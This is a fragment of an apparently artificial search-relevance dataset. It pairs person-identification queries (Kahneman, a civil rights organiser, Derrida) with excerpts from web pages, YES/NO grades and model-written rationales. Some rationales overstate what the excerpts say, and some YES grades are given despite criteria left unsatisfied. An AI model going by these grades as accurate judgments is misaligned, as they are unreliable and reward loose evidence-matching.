                "text": "Photo from the Nobel Foundation archive.  \nDaniel Kahneman\nThe Sveriges Riksbank Prize in Economic Sciences in Memory of Alfred Nobel 2002 \nBorn: 5 March 1934, Tel Aviv, British Mandate of Palestine (now Israel)\t\nAffiliation at the time of the award:\nPrinceton University, Princeton, NJ, USA \nPrize motivation: \u201cfor having integrated insights from psychological research into economic science, especially concerning human judgment and decision-making under uncertainty\u201d \nPrize share: 1/2 \nLife \nDaniel Kahneman was born in Tel Aviv, Israel, while his mother was visiting her extended family. The family\u2019s regular domicile was in Paris, France. After his father\u2019s death in 1944, he moved with his mother and sister to Palestine. He studied psychology at Hebrew University and the University of California, earning his Ph.D. in 1961. Kahneman has been married twice and has two children.\nWork \nDaniel Kahneman began his prize-awarded research in the late 1960s. In order to increase understanding of how people make economic decisions, he drew on cognitive psychology in relation to the mental process used in forming judgements and making choices. His research on decision-making under uncertainty resulted in the formulation of a new branch of economics, prospect theory.\n \nBack to top\t \nBack To Top\nTakes users back to the top of the page\nNobel Prizes 2022 \n \nFourteen laureates were awarded a Nobel Prize in 2022, for achievements that have conferred the greatest benefit to humankind. \nTheir work and discoveries range from paleogenomics and click chemistry to documenting war crimes. \nSee them all presented here.  \n   \nSelect the category or categories you would like to filter by \nSelect the category or categories you would like to filter by \nPhysics \nChemistry \nMedicine \nLiterature \nPeace \nEconomic Sciences \nDecrease the year by one \nChoose a year you would like to search in \nIncrease the year by one",
                "model_trace": "Query Decomposition:\n1. {Influential figures in behavioral economics and decision-making}: The document is about Daniel Kahneman, who is a notable figure in this field -> ([1], SATISFIED)\n2. {Psychologist who won the Nobel Prize in Economics for work on prospect theory and cognitive biases}: The document clearly states that Daniel Kahneman won the Nobel Prize for his work on prospect theory and cognitive biases -> ([1], SATISFIED)\n3. {Research challenged traditional economic models by showing how people make decisions under uncertainty}: The document mentions that Kahneman's research integrated psychological insights into economic science, particularly concerning human judgment and decision-making under uncertainty -> ([1], SATISFIED)\n4. {Experiment involving different reactions to the same scenario when framed as gains versus losses}: The document refers to Kahneman's research on decision-making under uncertainty, which includes such experiments -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document provides comprehensive information about Daniel Kahneman and his contributions to the field of behavioral economics and decision-making, aligning perfectly with the query.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Daniel Kahneman",
                "url": "https://en.wikipedia.org/wiki/Daniel_Kahneman",
                "published_date": null,
                "text": "From Wikipedia, the free encyclopedia\n\t \n    Daniel Kahneman       Kahneman in 2009    Born March 5, 1934 (age\u00a088) [1]     Tel Aviv, British Mandate of Palestine (now Israel)     Nationality  United States, Israel    Education  \n  Hebrew University (BA)\n University of California, Berkeley (MA, PhD) \n    Known\u00a0for  \n  Cognitive biases \n Behavioral economics \n Prospect theory \n Loss aversion  \n    Spouses  \n Irah Kahneman;\n Anne Treisman (1978\u20132018, her death) \n    Awards  \n  APA Lifetime Achievement Award (2007)\n Nobel Memorial Prize in Economic Sciences (2002)\n Presidential Medal of Freedom (2013)\n Tufts University Leontief Prize (2010)\n APS Distinguished Scientific Contribution Award (1982)\n University of Louisville Grawemeyer Award (2003) \n     Scientific career    Fields  \n  Psychology \n Economics  \n    Institutions  \n  Princeton University 1993\u2013\n University of California, Berkeley 1986\u201393\n University of British Columbia 1978\u201386\n Center for Advanced Study in the Behavioral Sciences 1972\u201373\n Hebrew University of Jerusalem 1961\u201377 \n     Thesis    An analytical model of the semantic differential \u00a0(1961)    Doctoral advisor   Susan M. Ervin-Tripp    Doctoral students  \n  Anat Ninio \n Avishai Henik \n Baruch Fischhoff \n Ziv Carmon  \n       Recorded August 2013 from the BBC Radio 4 programme  Desert Island Discs       Website  scholar .princeton .edu /kahneman /    \n Daniel Kahneman (; Hebrew: \u05d3\u05e0\u05d9\u05d0\u05dc \u05db\u05d4\u05e0\u05de\u05df; born March 5, 1934) is an Israeli-American psychologist and economist notable for his work on the psychology of judgment and decision-making, as well as behavioral economics, for which he was awarded the 2002 Nobel Memorial Prize in Economic Sciences (shared with Vernon L. Smith). His empirical findings challenge the assumption of human rationality prevailing in modern economic theory.\n With Amos Tversky and others, Kahneman established a cognitive basis for common human errors that arise from heuristics and biases, and developed prospect theory.\n In 2011 he was named by  Foreign Policy  magazine in its list of top",
                "model_trace": "Query Decomposition:\n1. [Influential figures in the field of behavioral economics and decision-making]: The document is about Daniel Kahneman, who is a key figure in this field -> ([1], SATISFIED)\n2. [Psychologist who, along with his longtime collaborator, won the Nobel Prize in Economics for their work on prospect theory and cognitive biases]: The document states that Daniel Kahneman, along with Amos Tversky, developed prospect theory and won the Nobel Prize in Economics -> ([1], SATISFIED)\n3. [Research challenged traditional economic models by showing how people make decisions under uncertainty]: The document mentions Kahneman's empirical findings challenging the assumption of human rationality in economic theory -> ([1], SATISFIED)\n4. [Famous experiment involving people's different reactions to the same scenario when framed as gains versus losses]: The document mentions Kahneman's work on cognitive biases and loss aversion, which is related to this type of experiment -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES."
            }
        ]
    },
    {
        "query": "I'm trying to track down information about a lesser-known civil rights activist who worked alongside Martin Luther King Jr. but didn't receive as much recognition. This person was instrumental in organizing the Montgomery Bus Boycott and played a crucial role in the Southern Christian Leadership Conference. I believe they were also involved in the planning of the March on Washington. Despite their significant contributions, they often worked behind the scenes. Can you help me identify this unsung hero of the civil rights movement?",
        "grid_pos": [
            2,
            8
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Person",
        "reasoning_trace": [
            "The reasoning for each query:\n\n1. The description points to Grace Hopper, a pioneering computer scientist known for her work on COBOL, her service in the US Navy, and her famous clock-wise pin.\n\n2. This query is describing Jacques Derrida, a French philosopher born in Algeria who is known for his work in deconstruction and post-structuralism.\n\n3. The query is likely referring to Bayard Rustin, a key organizer in the civil rights movement who worked closely with Martin Luther King Jr. but often remained in the background due to his sexual orientation.\n\n4. While there are several artists who could fit this description, one possibility is Olafur Eliasson, known for his large-scale installations that often incorporate natural elements and address environmental issues.\n\n5. The psychologist described is Daniel Kahneman, who along with Amos Tversky, developed prospect theory and made significant contributions to the field of behavioral economics, winning the Nobel Prize in Economics in 2002."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Dorothy Cotton : Video Interview",
                "url": "https://crdl.usg.edu/people/cotton_dorothy_1930",
                "published_date": "2006-03-09",
                "text": "Cotton, Dorothy F., 1930-2018\n\nBiography:\n\nDorothy Lee Foreman was born in Goldsboro, North Carolina. After her mother's death when she was only three years old, she and her three sisters were raised by their father, Claude Daniel Foreman, a tobacco factory worker. Dorothy remained with her father until leaving to attend Shaw University in Raleigh, North Carolina, where she supported herself by working as housekeeper to the university president. She transferred and followed her employer when he took the presidency of Virginia State College in Petersburg, Virginia, the college from which she later graduated with a degree in English and Library Science. After graduation, Dorothy married George Cotton, whom she had met in college. She later enrolled at Boston University where she received her master's degree in Speech Therapy in 1960. While completing work for her master's, she became active in the Civil Rights Movement. For the next twelve years she held the position of Education Director for the Southern Christian Leadership Conference (SCLC). The only female member of his executive staff, Dorothy became one of Dr. Martin Luther King, Jr.'s closest confidantes. While at SCLC, Dorothy ran the Citizenship Education Program, training the disenfranchised on the importance of political participation, voter registration, and nonviolent protest. Dorothy continued at the SCLC after Dr. King's assassination in 1968 and later became Southern Regional Director for ACTION, the federal agency for volunteer programs. She also worked briefly at the Martin Luther King Jr. Center for NonViolent Change. After more than two decades of intense involvement in civil rights activities, Dorothy dedicated ten years to Cornell University, serving as Director of Student Activities. She later founded her own consulting company, Dorothy Cotton & Associates, which conducted seminars on leadership development, individual empowerment, and social change. Dorothy was also one of the founding members of the National Citizenship School. Dorothy Cott",
                "model_trace": "Query Decomposition:\n1. {lesser-known civil rights activist}: The document is about Dorothy Cotton, who is a lesser-known civil rights activist -> ([1], SATISFIED)\n2. {worked alongside Martin Luther King Jr.}: The document states that Dorothy Cotton was one of Dr. Martin Luther King Jr.'s closest confidantes -> ([1], SATISFIED)\n3. {instrumental in organizing the Montgomery Bus Boycott}: The document does not mention her involvement in the Montgomery Bus Boycott -> ([0], UNSURE)\n4. {played a crucial role in the Southern Christian Leadership Conference}: The document mentions that she was the Education Director for the SCLC and ran the Citizenship Education Program -> ([1], SATISFIED)\n5. {involved in the planning of the March on Washington}: The document does not mention her involvement in the planning of the March on Washington -> ([0], UNSURE)\n6. {worked behind the scenes}: The document highlights her role as a confidante and her work in the Citizenship Education Program, indicating she worked behind the scenes -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {lesser-known civil rights activist}, {worked alongside Martin Luther King Jr.}, {played a crucial role in the Southern Christian Leadership Conference}, and {worked behind the scenes}. All these subcomponents are satisfied.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Bayard Rustin (U.S. National Park Service)",
                "url": "https://www.nps.gov/people/bayard-rustin.htm",
                "published_date": "2017-08-18",
                "text": "Bayard Rustin was a brilliant strategist, pacifist, and forward-thinking civil rights activist during the middle of the 20th century. In 1947 as a member of the Fellowship of Reconciliation, Rustin planned the\"Journey of Reconciliation\", which would be used as a model for the Freedom Rides of the 1960's. He served as a mentor to Martin Luther King, Jr. in the practice of nonviolent civil resistance, and was an intellectual and organizational force behind the burgeoning civil rights movement during the 1950s and 1960s. He organized protests in England and studied Ghandian principles in India. His life as an openly gay man, however, put him at odds with the cultural norms of the larger society and left him either working behind the scenes or outside of the movement for stretches of time. Born 1912 in West Chester, Pennsylvania, Rustin was raised a Quaker and his family was engaged in civil rights activism. He attended Wilberforce University, Cheney State Teachers College, and City College of New York. A charismatic man, he earned a living as a spiritual singer in nightclubs while living in New York City. He took a brief interest in the Communist movement and was a life-long pacifist, due to his Quaker upbringing. His commitment to civil and human rights came at a personal cost. He was arrested multiple times and twice went to jail. In the 1940s he met A. Philip Randolph and worked with him on various proposed marches on Washington, D.C. to protest segregation in the armed forces and the defense industry. Because of their experiences together, when Randolph was name to head the March on Washington for Jobs and Freedom in 1963, he appointed Rustin as Deputy Director and overall logistical planner. In 1947, Rustin and George Houser, executive secretary of CORE, organized the Journey of Reconciliation which was the first of the Freedom Rides. The Rides were intended to test the U.S. Supreme Court's ban on racial discrimination in interstate travel. Rustin was arrested for violating state laws regarding segregated seati",
                "model_trace": "Query Decomposition:\n1. {lesser-known civil rights activist who worked alongside Martin Luther King Jr.}: The document identifies Bayard Rustin as a civil rights activist who worked closely with Martin Luther King Jr. -> ([1], SATISFIED)\n2. {instrumental in organizing the Montgomery Bus Boycott}: The document does not mention Rustin's involvement in the Montgomery Bus Boycott -> ([0], UNSURE)\n3. {played a crucial role in the Southern Christian Leadership Conference}: The document does not mention Rustin's role in the Southern Christian Leadership Conference -> ([0], UNSURE)\n4. {involved in the planning of the March on Washington}: The document clearly states that Rustin was appointed as Deputy Director and overall logistical planner for the March on Washington -> ([1], SATISFIED)\n5. {worked behind the scenes}: The document mentions that Rustin often worked behind the scenes due to societal norms regarding his sexual orientation -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {lesser-known civil rights activist who worked alongside Martin Luther King Jr.}, {involved in the planning of the March on Washington}, and {worked behind the scenes}. Since all these subcomponents are satisfied, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Rustin",
                "url": "http://www.apri.org/rustin.html",
                "published_date": "2020-01-21",
                "text": "The Senior Constituency Group of the AFL-CIO Bayard Rustin was active in the struggle for human rights and economic justice for over 50 years. Born in 1912, he was reared in West Chester, Pennsylvania where he excelled as a student, athlete and musician. He attended Wilberforce University, Cheyney State College, the City College of New York, and the London School of Economics, earning tuition at odd jobs and singing professionally with Josh White\u2019s Carolinians and Leadbelly.A Quaker, Mr. Rustin placed his religious convictions above his musical interests, and in 1941began a long association with the Fellowship of Reconciliation (FOR). Serving as its Race Relations Secretary, he toured the country conducting Race Relations Institutes designed to facilitate communication and understanding between racial groups. He was active in A. Philip Randolph\u2019s March on Washington Movement, and became the first field secretary of the Congress of Racial Equality (CORE). In 1942, the FOR dispatched him to California and the American Friends Service Committee to help protect the property of Japanese-Americans held in detention. In 1943, Mr. Rustin was imprisoned in Lewisburg Penitentiary as a conscientious objector. In 1947, Bayard Rustin took part in a demonstration to test enforcement of the 1946 Irene Morgan case decision outlawing discrimination in interstate travel. Known as the \u201cJourney of Reconciliation\u201d this protest was a model for Freedom Rides of the 1960s. Arrested in North Carolina, he served 30 days on a chain gang. His account of that experience, serialized in The New York Post, spurred an investigation, which resulted in the abolition of chain gangs in North Carolina. Mr. Rustin directed A. Philip Randolph\u2019s Committee against Discrimination in the Armed Forces, which was instrumental in securing President Truman\u2019s order eliminating segregation in the Armed Forces. At Mr. Randolph\u2019s request, he was granted temporary leave from his position as Executive Secretary of the War Resisters League, to assist Dr. Martin Luthe",
                "model_trace": "Query Decomposition:\n1. {lesser-known civil rights activist who worked alongside Martin Luther King Jr.}: The document discusses Bayard Rustin, who fits this description -> ([1], SATISFIED)\n2. {instrumental in organizing the Montgomery Bus Boycott}: The document does not mention the Montgomery Bus Boycott -> ([0], UNSURE)\n3. {played a crucial role in the Southern Christian Leadership Conference}: The document does not mention the Southern Christian Leadership Conference -> ([0], UNSURE)\n4. {involved in the planning of the March on Washington}: The document mentions Rustin's involvement in A. Philip Randolph\u2019s March on Washington Movement, which suggests involvement in planning the March on Washington -> ([2], SATISFIED)\n5. {often worked behind the scenes}: The document describes various behind-the-scenes activities Rustin was involved in -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {lesser-known civil rights activist who worked alongside Martin Luther King Jr.}, {involved in the planning of the March on Washington}, and {often worked behind the scenes}. All these subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "Montgomery Bus Boycott - Facts, Significance & Rosa Parks",
                "url": "https://www.history.com/topics/black-history/montgomery-bus-boycott",
                "published_date": null,
                "text": "The Montgomery Bus Boycott was a civil rights protest during which African Americans refused to ride city buses in Montgomery, Alabama, to protest segregated seating. The boycott took place from December 5, 1955, to December 20, 1956, and is regarded as the first large-scale U.S. demonstration against segregation. Four days before the boycott began, Rosa Parks, an African American woman, was arrested and fined for refusing to yield her bus seat to a white man. The U.S. Supreme Court ultimately ordered Montgomery to integrate its bus system, and one of the leaders of the boycott, a young pastor named Martin Luther King Jr., emerged as a prominent leader of the American civil rights movement.   In 1955, African Americans were still required by a Montgomery, Alabama, city ordinance to sit in the back half of city buses and to yield their seats to white riders if the front half of the bus, reserved for whites, was full. But on December 1, 1955, African American seamstress Rosa Parks was commuting home on Montgomery\u2019s Cleveland Avenue bus from her job at a local department store. She was seated in the front row of the \u201ccolored section.\u201d When the white seats filled, the driver, J. Fred Blake, asked Parks and three others to vacate their seats. The other Black riders complied, but Parks refused. She was arrested and fined $10, plus $4 in court fees. This was not Parks\u2019 first encounter with Blake. In 1943, she had paid her fare at the front of a bus he was driving, then exited so she could re-enter through the back door, as required. Blake pulled away before she could re-board the bus.    Did you know? Nine months before Rosa Parks' arrest for refusing to give up her bus seat, 15-year-old Claudette Colvin was arrested in Montgomery for the same act. The city's Black leaders prepared to protest, until it was discovered Colvin was pregnant and deemed an inappropriate symbol for their cause.   Although Parks has sometimes been depicted as a woman with no history of civil rights activism at the time of her arrest, she and he",
                "model_trace": "Query Decomposition:\n1. {lesser-known civil rights activist who worked alongside Martin Luther King Jr.}: The document does not mention any lesser-known activists by name -> ([0], UNSATISFIED)\n2. {instrumental in organizing the Montgomery Bus Boycott}: The document focuses on the Montgomery Bus Boycott but does not mention any lesser-known figures who organized it -> ([1], UNSATISFIED)\n3. {played a crucial role in the Southern Christian Leadership Conference}: The document does not mention the Southern Christian Leadership Conference -> ([0], UNSATISFIED)\n4. {involved in the planning of the March on Washington}: The document does not mention the March on Washington -> ([0], UNSATISFIED)\n5. {worked behind the scenes}: The document does not provide information about behind-the-scenes work by lesser-known activists -> ([0], UNSATISFIED)\n\nAssessment: The key subcomponents relevant to the user's query are not satisfied. The document does not provide information about a lesser-known civil rights activist who was instrumental in organizing the Montgomery Bus Boycott and played a crucial role in the Southern Christian Leadership Conference. NO."
            },
            {
                "grade": "NO",
                "title": "Montgomery Bus Boycott",
                "url": "https://kinginstitute.stanford.edu/montgomery-bus-boycott",
                "published_date": null,
                "text": "December 5, 1955\u00a0to\u00a0December 20, 1956\nSparked by the arrest of Rosa\u00a0 Parks \u00a0on 1 December 1955, the Montgomery bus boycott was a 13-month mass protest that ended with the U.S. Supreme Court ruling that segregation on public buses is unconstitutional. The\u00a0 Montgomery Improvement Association \u00a0(MIA) coordinated the boycott, and its president, Martin Luther King, Jr., became a prominent civil rights leader as international attention focused on Montgomery. The bus boycott demonstrated the potential for nonviolent mass protest to successfully challenge racial segregation and served as an example for other southern campaigns that followed. In\u00a0  Stride Toward Freedom  , King\u2019s 1958 memoir of the boycott, he declared the real meaning of the Montgomery bus boycott to be the power of a growing self-respect to animate the struggle for civil rights.\nThe roots of the bus boycott began years before the arrest of Rosa Parks. The\u00a0 Women\u2019s Political Council \u00a0(WPC), a group of black professionals founded in 1946, had already turned their attention to Jim Crow practices on the Montgomery city buses. In a meeting with Mayor W. A. Gayle in March 1954, the council's members outlined the changes they sought for Montgomery\u2019s bus system: no one standing over empty seats; a decree that black individuals not be made to pay at the front of the bus and enter from the rear; and a policy that would require buses to stop at every corner in black residential areas, as they did in white communities. When the meeting failed to produce any meaningful change, WPC president Jo Ann\u00a0 Robinson \u00a0reiterated the council\u2019s requests in a 21 May letter to Mayor Gayle, telling him, \u201cThere has been talk from twenty-five or more local organizations of planning a city-wide boycott of buses\u201d (\u201cA Letter from the Women\u2019s Political Council\u201d).\nA year after the WPC\u2019s meeting with Mayor Gayle, a 15-year-old named Claudette Colvin was arrested for challenging segregation on a Montgomery bus. Seven months later, 18-year-old Mary Louise Smith was arrested for refusing to yi",
                "model_trace": "Query Decomposition:\n1. {lesser-known civil rights activist who worked alongside Martin Luther King Jr.}: The document does not specifically mention any lesser-known activists who worked alongside Martin Luther King Jr. -> ([0], UNSATISFIED)\n2. {instrumental in organizing the Montgomery Bus Boycott}: The document mentions the Montgomery Bus Boycott and key figures like Rosa Parks and Jo Ann Robinson, but does not provide information about other instrumental organizers -> ([1], UNSATISFIED)\n3. {played a crucial role in the Southern Christian Leadership Conference}: The document does not mention the Southern Christian Leadership Conference or any roles within it -> ([0], UNSATISFIED)\n4. {involved in the planning of the March on Washington}: The document does not mention the March on Washington or any involvement in its planning -> ([0], UNSATISFIED)\n5. {worked behind the scenes}: The document does not provide information about behind-the-scenes work by any individuals other than those already mentioned -> ([0], UNSATISFIED)\n\nAssessment: The relevant subcomponent is {instrumental in organizing the Montgomery Bus Boycott}, which is not satisfied. Therefore, the document does not provide the necessary information to identify the unsung hero described in the query. NO."
            },
            {
                "grade": "NO",
                "title": "Martin Luther King Jr. - Civil Rights Activists - bio. Biography.com",
                "url": "https://www.biography.com/activists/martin-luther-king-jr",
                "published_date": null,
                "text": "(1929-1968)  Who Was Martin Luther King Jr? Martin Luther King Jr. was a Baptist minister and civil-rights activist who had a seismic impact on race relations in the United States, beginning in the mid-1950s.  Among his many efforts, King headed the Southern Christian Leadership Conference (SCLC). Through his activism and inspirational speeches, he played a pivotal role in ending the legal segregation of African American citizens in the United States, as well as the creation of the Civil Rights Act of 1964 and the Voting Rights Act of 1965.  King won the Nobel Peace Prize in 1964, among several other honors. He continues to be remembered as one of the most influential and inspirational African American leaders in history.   Early Life Born as Michael King Jr. on January 15, 1929, Martin Luther King Jr. was the middle child of Michael King Sr. and Alberta Williams King.  The King and Williams families had roots in rural Georgia. Martin Jr.'s grandfather, A.D. Williams, was a rural minister for years and then moved to Atlanta in 1893.  He took over the small, struggling Ebenezer Baptist church with around 13 members and made it into a forceful congregation. He married Jennie Celeste Parks and they had one child that survived, Alberta.  Martin Sr. came from a family of sharecroppers in a poor farming community. He married Alberta in 1926 after an eight-year courtship. The newlyweds moved to A.D.'s home in Atlanta. Martin Sr. stepped in as pastor of Ebenezer Baptist Church upon the death of his father-in-law in 1931. He too became a successful minister and adopted the name Martin Luther King Sr. in honor of the German Protestant religious leader Martin Luther. In due time, Michael Jr. would follow his father's lead and adopt the name himself.  READ MORE: Martin Luther King Jr. and Martin Luther: The Parallels Between the Two Leaders  King had an older sister, Willie Christine, and a younger brother, Alfred Daniel Williams King. The King children grew up in a secure and loving environment. Martin Sr. was more the disc",
                "model_trace": "Query Decomposition:\n1. {lesser-known civil rights activist who worked alongside Martin Luther King Jr.}: The document focuses on Martin Luther King Jr. and not on lesser-known activists -> ([1], UNSATISFIED)\n2. {instrumental in organizing the Montgomery Bus Boycott}: The document does not mention other activists involved in the Montgomery Bus Boycott -> ([0], UNSURE)\n3. {played a crucial role in the Southern Christian Leadership Conference (SCLC)}: The document mentions King's role in the SCLC but does not mention other activists -> ([0], UNSURE)\n4. {involved in the planning of the March on Washington}: The document does not mention other activists involved in the March on Washington -> ([0], UNSURE)\n5. {worked behind the scenes and didn't receive as much recognition}: The document does not mention lesser-known activists who worked behind the scenes -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {lesser-known civil rights activist who worked alongside Martin Luther King Jr.}. Since this subcomponent is unsatisfied, the document is not helpful for the user's request. NO."
            }
        ]
    },
    {
        "query": "In my comparative literature class, we discussed a controversial French philosopher and literary theorist who was associated with post-structuralism and deconstruction. He wrote extensively on the nature of language and meaning, and his ideas have had a profound impact on various fields including philosophy, literary criticism, and even architecture. I remember that his name started with a 'D' and he had some connection to Algeria. Who could this influential thinker be?",
        "grid_pos": [
            2,
            8
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Person",
        "reasoning_trace": [
            "The reasoning for each query:\n\n1. The description points to Grace Hopper, a pioneering computer scientist known for her work on COBOL, her service in the US Navy, and her famous clock-wise pin.\n\n2. This query is describing Jacques Derrida, a French philosopher born in Algeria who is known for his work in deconstruction and post-structuralism.\n\n3. The query is likely referring to Bayard Rustin, a key organizer in the civil rights movement who worked closely with Martin Luther King Jr. but often remained in the background due to his sexual orientation.\n\n4. While there are several artists who could fit this description, one possibility is Olafur Eliasson, known for his large-scale installations that often incorporate natural elements and address environmental issues.\n\n5. The psychologist described is Daniel Kahneman, who along with Amos Tversky, developed prospect theory and made significant contributions to the field of behavioral economics, winning the Nobel Prize in Economics in 2002."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Jacques Derrida - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Jacques_Derrida",
                "published_date": "2002-05-24",
                "text": "Jacques Derrida Born Jackie \u00c9lie Derrida 15 July 1930 El Biar, French Algeria Died 9 October 2004 (aged 74)Paris, France Education \u00c9cole Normale Sup\u00e9rieure (B.A.; M.A., 1954; Dr. cand., 1957) Harvard University (postgrad, 1956\u201357) University of Paris (DrE, 1980) Spouse Marguerite Aucouturier \n \u200b \u200b (m. 1957) \u200b Children 3, including Pierre Alf\u00e9ri Era 20th-century philosophy Region Western philosophy School Continental philosophy Post-structuralism (disavowed) Deconstruction Radical hermeneutics [1] Institutions University of Paris \u00c9cole Normale Sup\u00e9rieure \u00c9cole des Hautes \u00c9tudes en Sciences Sociales Coll\u00e8ge international de philosophie European Graduate School University of California, Irvine Notable students Jean-Luc Marion [4] Francis Fukuyama [5] Notable ideas Deconstruction diff\u00e9rance phallogocentrism free play arche-writing metaphysics of presence invagination pharmakon trace hauntology sous rature kh\u00f4ra Citationality \n Influences \n Plato Darwin Joyce Nietzsche De Saussure Austin Heidegger Bataille Benjamin Levinas Freud Husserl Rousseau Marx L\u00e9vi-Strauss Barthes Blanchot Kierkegaard Hegel Genet Kafka Meister Eckhart [2]\n\nInfluenced \n Jean-Luc Nancy Gayatri Chakravorty Spivak Paul de Man Philippe Lacoue-Labarthe Maebh Long Geoffrey Hartman John D. Caputo James KA Smith Judith Butler Catherine Malabou Bernard Stiegler B\u00e9atrice Galinon-M\u00e9l\u00e9nec Peter Rollins Richard Rorty Sarah Kofman Paul B. Preciado Theodore Jennings [3] List of thinkers influenced by deconstruction\n\nJacques Derrida (; French: [\u0292ak d\u025b\u0281ida]; born Jackie \u00c9lie Derrida; [6] 15 July 1930 \u2013 9 October 2004) was an Algerian-born French philosopher. He developed the philosophy of deconstruction, which he utilized in numerous texts, and which was developed through close readings of the linguistics of Ferdinand de Saussure and Husserlian and Heideggerian phenomenology. [7] [8] [9] He is one of the major figures associated with post-structuralism and postmodern philosophy [10] [11] [12] although he has distanced himself from post-structuralism and \"protest",
                "model_trace": "Query Decomposition:\n1. [Controversial French philosopher and literary theorist]: The document is about Jacques Derrida, a French philosopher and literary theorist -> ([1], SATISFIED)\n2. [Associated with post-structuralism and deconstruction]: The document mentions Derrida's association with post-structuralism and his development of deconstruction -> ([1], SATISFIED)\n3. [Wrote extensively on the nature of language and meaning]: The document indicates that Derrida developed deconstruction through close readings of linguistics and phenomenology, implying extensive writing on language and meaning -> ([2], SATISFIED)\n4. [Name starts with a 'D']: The document confirms the name Jacques Derrida -> ([1], SATISFIED)\n5. [Connection to Algeria]: The document states that Derrida was born in El Biar, French Algeria -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document provides comprehensive information about Jacques Derrida, matching all aspects of the query. YES"
            },
            {
                "grade": "YES",
                "title": "Jacques Derrida",
                "url": "https://www.philosophybasics.com/philosophers_derrida.html",
                "published_date": "2004-10-08",
                "text": "Introduction | Life | Work | Books\n\nJacques Derrida\n\nJacques Derrida (1930 - 2004) was a 20th Century Algerian-born French philosopher, best known as the founder of the Deconstructionism movement in the 1960s, and for his profound impact on Continental Philosophy and literary theory in general. He deliberately distanced himself from the other philosophical movements on the French intellectual scene (e.g. Phenomenology, Existentialism, Structuralism), and denied that Deconstructionism was a method or school or doctrine of philosophy of any sort.\nHe was a prolific author and became one of the most well known philosophers of contemporary times. His work was always highly cerebral and \"difficult\", and he has often been accused of pseudophilosophy, sophistry and deliberate obscurantism.\n\nJacques Derrida (pronounced de-ri-DAH) was born on 15 July 1930 in the small town of El-Biar (now a suburb of Algiers) in Algeria, into a Sephardic Jewish family, the third of five children. He spent his early years in El-Biar, but at the age of 12 he was dismissed from his lyc\u00e9e by French administrators implementing anti-Semitic quotas set by the Vichy government, and he chose to skip school rather than attend the Jewish lyc\u00e9e which arose.\nFor a while, he dreamed of becoming a professional soccer player, and took part in numerous competitions, but in his later teens he also started to read philosophers and writers such as Jean-Jacques Rousseau, Friedrich Nietzsche, Albert Camus (1913 - 1960) and Andr\u00e9 Gide (1869 - 1951) and began to think seriously about philosophy.\nHe became a boarding student at the Lyc\u00e9e Louis-le-Grand in Paris and, after failing his entrance examination twice, he was admitted to the prestigious \u00c9cole Normale Sup\u00e9rieure (where Jean-Paul Sartre, Simone de Beauvoir and many other French intellectuals and academics began their careers) in 1952. There, he became friends with the Marxist philosopher Louis Althusser (1918 - 1990) and with the philosopher and critic Michel Foucault, whose lectures he attended. He also st",
                "model_trace": "Query Decomposition:\n1. {Controversial French philosopher and literary theorist}: The document identifies Jacques Derrida as a French philosopher and literary theorist -> ([1], SATISFIED)\n2. {Associated with post-structuralism and deconstruction}: The document states that Derrida is best known as the founder of the Deconstructionism movement -> ([1], SATISFIED)\n3. {Wrote extensively on the nature of language and meaning}: The document mentions Derrida's profound impact on Continental Philosophy and literary theory, implying his extensive work on language and meaning -> ([2], SATISFIED)\n4. {Profound impact on various fields including philosophy, literary criticism, and even architecture}: The document notes Derrida's profound impact on Continental Philosophy and literary theory, which can be inferred to include various fields -> ([2], SATISFIED)\n5. {Name starts with 'D'}: The document confirms the name Jacques Derrida -> ([1], SATISFIED)\n6. {Connection to Algeria}: The document states that Derrida was Algerian-born -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES"
            },
            {
                "grade": "YES",
                "title": "Biography - Jacques Derrida",
                "url": "https://contemporarythinkers.org/jacques-derrida/biography/",
                "published_date": "2012-08-10",
                "text": "Jacques Derrida (1930\u20132004) is one of the most influential and controversial philosophers of the latter half of the twentieth century. He is most notable as the originator of literary \u201cdeconstruction,\u201d which is at once an interpretive approach and a critique of Western metaphysics. From 1964 to 1984, Derrida taught at the Ecole normale sup\u00e9rieure in Paris. He was Professor of the Humanities at the University of California, Irvine from 1986 until his death in 2004 and helped to found the Coll\u00e8ge international de philosophie in Paris. Derrida was a visiting professor and lecturer at universities throughout the world and received honorary doctorates from the University of Cambridge and Columbia University, among others. He wrote almost fifty books and numerous essays and articles, and his writings have been translated into over twenty languages. He was the subject of two documentary films, collaborated in many avant-garde art projects, and gave frequent interviews in a variety of media.\nDerrida was born in El-Biar, Algeria, just outside of Algiers, on July 15, 1930. The Derridas lived comfortably as a middle-class, French-speaking, Jewish family in colonial Algeria until the early 1940s, when the collaborationist Vichy government fostered the implementation of anti-Semitic policies in Algeria. Among these policies was a system of quotas for Jewish school children attending state-run schools, with the result that in 1942, Derrida was expelled from Lyc\u00e9e de Ben Aknoun. This experience, he would later reflect, left an indelible mark on him. Returning to school after the liberation of France, Derrida became particularly engaged in his education only after he discovered philosophy; he moved to France, matriculating at Lyc\u00e9e Louis-le-Grand before gaining admission to the prestigious Ecole normale sup\u00e9rieure in 1952. Derrida failed his first attempt at the aggr\u00e9gation in philosophy, the French state license guaranteeing a lifetime teaching appointment in French universities. In 1957 he married his lifelong spouse, psychoan",
